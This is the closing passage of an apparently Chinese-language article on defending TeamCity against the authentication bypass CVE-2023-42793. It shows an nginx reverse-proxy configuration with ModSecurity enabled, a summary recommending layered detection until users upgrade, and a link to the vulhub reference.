    server_name teamcity.example.com;

    ModSecurityEnabled on;
    ModSecurityConfig /etc/nginx/modsec/modsecurity.conf;

    location / {
        proxy_pass http://teamcity-backend:8111;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

总结:CVE-2023-42793 是 TeamCity 中严重的认证绕过漏洞,可导致完全控制 CI/CD 环境。通过组合 Flask 应用层防护、TensorFlow 异常检测和 ModSecurity WAF,可以在升级前提供深度防御,有效检测和阻止攻击尝试。建议所有使用 TeamCity 的用户立即采取行动。

参考文章:

1.vulhub/teamcity/CVE-2023-42793 at master · vulhub/vulhub github.com/vulhub/vulh…